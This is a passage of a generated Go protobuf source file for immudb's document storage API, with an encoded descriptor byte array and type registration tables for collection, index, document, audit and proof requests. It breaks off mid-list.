0x6e, 0x2f, 0x7b,\n\t0x6e, 0x61, 0x6d, 0x65, 0x7d, 0x12, 0x8b, 0x01, 0x0a, 0x10, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65,\n\t0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d,\n\t0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65,\n\t0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73,\n\t0x74, 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c,\n\t0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f,\n\t0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x28, 0x92, 0x41, 0x0b, 0x0a, 0x09,\n\t0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x2a,\n\t0x12, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x6e, 0x61,\n\t0x6d, 0x65, 0x7d, 0x12, 0x86, 0x01, 0x0a, 0x08, 0x41, 0x64, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64,\n\t0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e,\n\t0x41, 0x64, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a,\n\t0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x41,\n\t0x64, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22,\n\t0x3b, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82,\n\t0xd3, 0xe4, 0x93, 0x02, 0x27, 0x3a, 0x01, 0x2a, 0x22, 0x22, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65,\n\t0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f,\n\t0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x2f, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x12, 0x98, 0x01, 0x0a,\n\t0x0b, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x12, 0x20, 0x2e, 0x69,\n\t0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x52, 0x65, 0x6d, 0x6f,\n\t0x76, 0x65, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21,\n\t0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x52, 0x65,\n\t0x6d, 0x6f, 0x76, 0x65, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73,\n\t0x65, 0x22, 0x44, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74,\n\t0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x30, 0x2a, 0x2e, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63,\n\t0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e,\n\t0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x2f, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x2f, 0x7b, 0x66, 0x69, 0x65,\n\t0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x12, 0x8f, 0x01, 0x0a, 0x0b, 0x43, 0x72, 0x65, 0x61,\n\t0x74, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62,\n\t0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x49, 0x6e, 0x64,\n\t0x65, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75,\n\t0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x49,\n\t0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x3b, 0x92, 0x41,\n\t0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93,\n\t0x02, 0x27, 0x3a, 0x01, 0x2a, 0x22, 0x22, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69,\n\t0x6f, 0x6e, 0x2f, 0x7b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61,\n\t0x6d, 0x65, 0x7d, 0x2f, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x8c, 0x01, 0x0a, 0x0b, 0x44, 0x65,\n\t0x6c, 0x65, 0x74, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75,\n\t0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x49,\n\t0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d,\n\t0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74,\n\t0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x38,\n\t0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3,\n\t0xe4, 0x93, 0x02, 0x24, 0x2a, 0x22, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f,\n\t0x6e, 0x2f, 0x7b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d,\n\t0x65, 0x7d, 0x2f, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x9f, 0x01, 0x0a, 0x0f, 0x49, 0x6e, 0x73,\n\t0x65, 0x72, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x24, 0x2e, 0x69,\n\t0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x49, 0x6e, 0x73, 0x65,\n\t0x72, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65,\n\t0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65,\n\t0x6c, 0x2e, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74,\n\t0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x3f, 0x92, 0x41, 0x0b, 0x0a, 0x09,\n\t0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x2b, 0x3a,\n\t0x01, 0x2a, 0x22, 0x26, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f,\n\t0x7b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x7d,\n\t0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0xb0, 0x01, 0x0a, 0x10, 0x52,\n\t0x65, 0x70, 0x6c, 0x61, 0x63, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12,\n\t0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x52,\n\t0x65, 0x70, 0x6c, 0x61, 0x63, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52,\n\t0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e,\n\t0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x52, 0x65, 0x70, 0x6c, 0x61, 0x63, 0x65, 0x44, 0x6f, 0x63,\n\t0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x4d,\n\t0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3,\n\t0xe4, 0x93, 0x02, 0x39, 0x3a, 0x01, 0x2a, 0x1a, 0x34, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63,\n\t0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x71, 0x75, 0x65, 0x72, 0x79, 0x2e, 0x63, 0x6f, 0x6c, 0x6c,\n\t0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x2f, 0x64, 0x6f, 0x63, 0x75,\n\t0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x72, 0x65, 0x70, 0x6c, 0x61, 0x63, 0x65, 0x12, 0xac, 0x01,\n\t0x0a, 0x0f, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74,\n\t0x73, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c,\n\t0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73,\n\t0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62,\n\t0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x6f, 0x63,\n\t0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x4c,\n\t0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3,\n\t0xe4, 0x93, 0x02, 0x38, 0x3a, 0x01, 0x2a, 0x22, 0x33, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63,\n\t0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x71, 0x75, 0x65, 0x72, 0x79, 0x2e, 0x63, 0x6f, 0x6c, 0x6c,\n\t0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x2f, 0x64, 0x6f, 0x63, 0x75,\n\t0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0xda, 0x01, 0x0a,\n\t0x0f, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73,\n\t0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e,\n\t0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52,\n\t0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e,\n\t0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x44, 0x6f, 0x63, 0x75,\n\t0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x7a, 0x92,\n\t0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4,\n\t0x93, 0x02, 0x66, 0x3a, 0x01, 0x2a, 0x5a, 0x2c, 0x3a, 0x01, 0x2a, 0x22, 0x27, 0x2f, 0x63, 0x6f,\n\t0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e,\n\t0x74, 0x73, 0x2f, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x2f, 0x7b, 0x73, 0x65, 0x61, 0x72, 0x63,\n\t0x68, 0x49, 0x64, 0x7d, 0x22, 0x33, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f,\n\t0x6e, 0x2f, 0x7b, 0x71, 0x75, 0x65, 0x72, 0x79, 0x2e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74,\n\t0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e,\n\t0x74, 0x73, 0x2f, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x12, 0xa8, 0x01, 0x0a, 0x0e, 0x43, 0x6f,\n\t0x75, 0x6e, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x23, 0x2e, 0x69,\n\t0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x75, 0x6e,\n\t0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73,\n\t0x74, 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c,\n\t0x2e, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52,\n\t0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x4b, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f,\n\t0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x37, 0x3a, 0x01, 0x2a,\n\t0x22, 0x32, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x71,\n\t0x75, 0x65, 0x72, 0x79, 0x2e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e,\n\t0x61, 0x6d, 0x65, 0x7d, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x63,\n\t0x6f, 0x75, 0x6e, 0x74, 0x12, 0xab, 0x01, 0x0a, 0x0d, 0x41, 0x75, 0x64, 0x69, 0x74, 0x44, 0x6f,\n\t0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e,\n\t0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x41, 0x75, 0x64, 0x69, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d,\n\t0x65, 0x6e, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d,\n\t0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x41, 0x75, 0x64, 0x69, 0x74, 0x44,\n\t0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22,\n\t0x51, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82,\n\t0xd3, 0xe4, 0x93, 0x02, 0x3d, 0x3a, 0x01, 0x2a, 0x22, 0x38, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65,\n\t0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f,\n\t0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x2f,\n\t0x7b, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x7d, 0x2f, 0x61, 0x75, 0x64,\n\t0x69, 0x74, 0x12, 0xab, 0x01, 0x0a, 0x0d, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x44, 0x6f, 0x63, 0x75,\n\t0x6d, 0x65, 0x6e, 0x74, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f,\n\t0x64, 0x65, 0x6c, 0x2e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e,\n\t0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64,\n\t0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x44, 0x6f, 0x63,\n\t0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x51, 0x92,\n\t0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4,\n\t0x93, 0x02, 0x3d, 0x3a, 0x01, 0x2a, 0x22, 0x38, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74,\n\t0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e,\n\t0x61, 0x6d, 0x65, 0x7d, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x2f, 0x7b, 0x64,\n\t0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x7d, 0x2f, 0x70, 0x72, 0x6f, 0x6f, 0x66,\n\t0x42, 0xb0, 0x01, 0x92, 0x41, 0x7c, 0x12, 0x2a, 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62,\n\t0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x20, 0x76, 0x32, 0x12, 0x14, 0x44, 0x6f,\n\t0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x20, 0x53, 0x74, 0x6f, 0x72, 0x61, 0x67, 0x65, 0x20, 0x41,\n\t0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x33, 0x0a, 0x31, 0x0a,\n\t0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, 0x68, 0x12, 0x23, 0x08, 0x02, 0x12,\n\t0x12, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x49, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x66,\n\t0x69, 0x65, 0x72, 0x1a, 0x09, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x69, 0x64, 0x20, 0x02,\n\t0x62, 0x10, 0x0a, 0x0e, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, 0x68,\n\t0x12, 0x00, 0x5a, 0x2f, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63,\n\t0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62,\n\t0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x6d, 0x6f,\n\t0x64, 0x65, 0x6c, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33,\n}\n\nvar (\n\tfile_documents_proto_rawDescOnce sync.Once\n\tfile_documents_proto_rawDescData = file_documents_proto_rawDesc\n)\n\nfunc file_documents_proto_rawDescGZIP() []byte {\n\tfile_documents_proto_rawDescOnce.Do(func() {\n\t\tfile_documents_proto_rawDescData = protoimpl.X.CompressGZIP(file_documents_proto_rawDescData)\n\t})\n\treturn file_documents_proto_rawDescData\n}\n\nvar file_documents_proto_enumTypes = make([]protoimpl.EnumInfo, 2)\nvar file_documents_proto_msgTypes = make([]protoimpl.MessageInfo, 41)\nvar file_documents_proto_goTypes = []interface{}{\n\t(FieldType)(0),                   // 0: immudb.model.FieldType\n\t(ComparisonOperator)(0),          // 1: immudb.model.ComparisonOperator\n\t(*CreateCollectionRequest)(nil),  // 2: immudb.model.CreateCollectionRequest\n\t(*CreateCollectionResponse)(nil), // 3: immudb.model.CreateCollectionResponse\n\t(*Field)(nil),                    // 4: immudb.model.Field\n\t(*Index)(nil),                    // 5: immudb.model.Index\n\t(*GetCollectionRequest)(nil),     // 6: immudb.model.GetCollectionRequest\n\t(*GetCollectionResponse)(nil),    // 7: immudb.model.GetCollectionResponse\n\t(*Collection)(nil),               // 8: immudb.model.Collection\n\t(*GetCollectionsRequest)(nil),    // 9: immudb.model.GetCollectionsRequest\n\t(*GetCollectionsResponse)(nil),   // 10: immudb.model.GetCollectionsResponse\n\t(*DeleteCollectionRequest)(nil),  // 11: immudb.model.DeleteCollectionRequest\n\t(*DeleteCollectionResponse)(nil), // 12: immudb.model.DeleteCollectionResponse\n\t(*UpdateCollectionRequest)(nil),  // 13: immudb.model.UpdateCollectionRequest\n\t(*UpdateCollectionResponse)(nil), // 14: immudb.model.UpdateCollectionResponse\n\t(*AddFieldRequest)(nil),          // 15: immudb.model.AddFieldRequest\n\t(*AddFieldResponse)(nil),         // 16: immudb.model.AddFieldResponse\n\t(*RemoveFieldRequest)(nil),       // 17: immudb.model.RemoveFieldRequest\n\t(*RemoveFieldResponse)(nil),      // 18: immudb.model.RemoveFieldResponse\n\t(*CreateIndexRequest)(nil),       // 19: immudb.model.CreateIndexRequest\n\t(*CreateIndexResponse)(nil),      // 20: immudb.model.CreateIndexResponse\n\t(*DeleteIndexRequest)(nil),       // 21: immudb.model.DeleteIndexRequest\n\t(*DeleteIndexResponse)(nil),      // 22: immudb.model.DeleteIndexResponse\n\t(*InsertDocumentsRequest)(nil),   // 23: immudb.model.InsertDocumentsRequest\n\t(*InsertDocumentsResponse)(nil),  // 24: immudb.model.InsertDocumentsResponse\n\t(*ReplaceDocumentsRequest)(nil),  // 25: immudb.model.ReplaceDocumentsRequest\n\t(*ReplaceDocumentsResponse)(nil), // 26: immudb.model.ReplaceDocumentsResponse\n\t(*DeleteDocumentsRequest)(nil),   // 27: immudb.model.DeleteDocumentsRequest\n\t(*DeleteDocumentsResponse)(nil),  // 28: immudb.model.DeleteDocumentsResponse\n\t(*SearchDocumentsRequest)(nil),   // 29: immudb.model.SearchDocumentsRequest\n\t(*Query)(nil),                    // 30: immudb.model.Query\n\t(*QueryExpression)(nil),          // 31: immudb.model.QueryExpression\n\t(*FieldComparison)(nil),          // 32: immudb.model.FieldComparison\n\t(*OrderByClause)(nil),            // 33: immudb.model.OrderByClause\n\t(*SearchDocumentsResponse)(nil),  // 34: immudb.model.SearchDocumentsResponse\n\t(*DocumentAtRevision)(nil),       // 35: immudb.model.DocumentAtRevision\n\t(*DocumentMetadata)(nil),         // 36: immudb.model.DocumentMetadata\n\t(*CountDocumentsRequest)(nil),    // 37: immudb.model.CountDocumentsRequest\n\t(*CountDocumentsResponse)(nil),   // 38: immudb.model.CountDocumentsResponse\n\t(*AuditDocumentRequest)(nil),     // 39: immudb.model.AuditDocumentRequest\n\t(*AuditDocumentResponse)(nil),    // 40: immudb.model.AuditDocumentResponse\n\t(*ProofDocumentRequest)(nil),     // 41: immudb.model.ProofDocumentRequest\n\t(*ProofDocumentResponse)(nil),    // 42: immudb.model.ProofDocumentResponse\n\t(*structpb.Struct)(nil),          // 43: google.protobuf.Struct\n\t(*structpb.Value)(nil),           // 44: google.protobuf.Value\n\t(*schema.VerifiableTxV2)(nil),    // 45: immudb.schema.VerifiableTxV2\n}\nvar file_documents_proto_depIdxs = []int32{\n\t4,  // 0: immudb.model.CreateCollectionRequest.fields:type_name -> immudb.model.Field\n\t5,  // 1: immudb.model.CreateCollectionRequest.indexes:type_name -> immudb.model.Index\n\t0,  // 2: immudb.model.Field.type:type_name -> immudb.model.FieldType\n\t8,  // 3: immudb.model.GetCollectionResponse.collection:type_name -> immudb.model.Collection\n\t4,  // 4: immudb.model.Collection.fields:type_name -> immudb.model.Field\n\t5,  // 5: immudb.model.Collection.indexes:type_name -> immudb.model.Index\n\t8,  // 6: immudb.model.GetCollectionsResponse.collections:type_name -> immudb.model.Collection\n\t4,  // 7: immudb.model.AddFieldRequest.field:type_name -> immudb.model.Field\n\t43, // 8: immudb.model.InsertDocumentsRequest.documents:type_name -> google.protobuf.Struct\n\t30, // 9: immudb.model.ReplaceDocumentsRequest.query:type_name -> immudb.model.Query\n\t43, // 10: immudb.model.ReplaceDocumentsRequest.document:type_name -> google.protobuf.Struct\n\t35, // 11: immudb.model.ReplaceDocumentsResponse.revisions:type_name -> immudb.model.DocumentAtRevision\n\t30, // 12: immudb.model.DeleteDocumentsRequest.query:type_name -> immudb.model.Query\n\t30, // 13: immudb.model.SearchDocumentsRequest.query:type_name -> immudb.model.Query\n\t31, // 14: immudb.model.Query.expressions:type_name -> immudb.model.QueryExpression\n\t33, // 15: immudb.model.Query.orderBy:type_name -> immudb.model.OrderByClause\n\t32, // 16: immudb.model.QueryExpression.fieldComparisons:type_name -> 